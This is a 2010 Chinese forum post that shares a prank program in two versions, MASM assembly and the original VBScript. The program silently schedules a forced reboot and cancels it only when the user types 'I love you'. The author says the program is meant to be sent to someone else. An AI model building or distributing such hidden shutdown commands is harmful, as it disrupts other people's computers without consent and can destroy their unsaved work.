![]() |
#2
zklhp2010-05-29 23:08
|
n年前的 貌似丢了 重发。。
qq上有人发了个vbs脚本过来 看了不错 用汇编重写一下 发给**很好 呵呵
发张图吧
只有本站会员才能查看附件,请 登录
程序+源码
只有本站会员才能查看附件,请 登录

;MASMPlus 代码模板 - 以对话框做为主窗口的程序
;********************************************************************************
;by zklhp Email:zklhp@
;2009.1.20
;转载请保留完整
;********************************************************************************
.386
.Model Flat, StdCall
Option Casemap :None
Include windows.inc
Include user32.inc
Include kernel32.inc
Include gdi32.inc
include Dialog.inc
include USkin.inc
includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
includelib USkin.lib
include macro.asm
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.data
szILoveYou db '我爱你',0
hInstance dd ?
szBuffer db 64d dup(?)
x FLOAT 10.0f
y FLOAT 5.0f
.CODE
START:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke USkinInit,NULL,NULL,CTXT("VistaPerfection.msstyles") ;初使化USkin
invoke USkinApplyColorTheme,x,y
invoke DialogBoxParam,hInstance,IDD_DLG1,0,offset DlgProc,0
invoke USkinExit ;退出USkin
invoke ExitProcess,0
DlgProc proc hWnd,uMsg,wParam,lParam
.if uMsg==WM_INITDIALOG
invoke LoadIcon,hInstance,100
invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax
invoke RtlZeroMemory,offset szBuffer,63d
;关键在这 这里是20s 可以改小
invoke WinExec,CTXT('shutdown -r -t 20 -c "说"我爱你",不说我爱你就20秒后关你机,不信,试试···"'),SW_HIDE
.elseif uMsg==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDOK
invoke SendMessage,hWnd,WM_COMMAND,IDC_BTN1,0
.elseif eax==IDCANCEL
xor eax,eax
.elseif eax==IDC_BTN2
xor eax,eax
.elseif eax==IDC_BTN1
invoke GetDlgItemText,hWnd,IDC_EDT1,addr szBuffer,63d
.if eax > 0
invoke lstrcmp,offset szBuffer,offset szILoveYou
.if eax==0 ;相同 停止关机
invoke WinExec,CTXT('shutdown -a'),SW_HIDE
invoke MessageBox,0,CTXT('不要那么直接嘛,人家会害羞的!'),offset szILoveYou,0
invoke MessageBox,0,CTXT('其实我也爱你!'),offset szILoveYou,0
invoke SendMessage,hWnd,WM_CLOSE,0,0
.endif
.endif
.endif
.elseif uMsg==WM_CLOSE
invoke EndDialog,hWnd,wParam
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp
END START

1. on error resume next
2. dim WSHshellA
3. set WSHshellA = wscript.createobject("wscript.shell")
4. WSHshellA.run "cmd.exe /c shutdown -r -t 20 -c ""说我爱你,不说我爱你就20秒后关你机,不信,试试···"" ",0 ,true
5. dim a
6. do while(a <> "我爱你")
7. a = inputbox ("说我爱你,就不关机,快D啦,说 ""我爱你"" ","说不说","不说",8000,7000)
8. msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
9. loop
10. msgbox chr(13) + chr(13) + chr(13) + "不要那么直接嘛,人家会害羞的!!"
11. dim WSHshell
12. set WSHshell = wscript.createobject("wscript.shell")
13. WSHshell.run "cmd.exe /c shutdown -a",0 ,true
14. msgbox chr(13) + chr(13) + chr(13) + "哈哈,其实我也爱你!!"
恢复完成
[ 本帖最后由 zklhp 于 2010-5-29 23:09 编辑 ]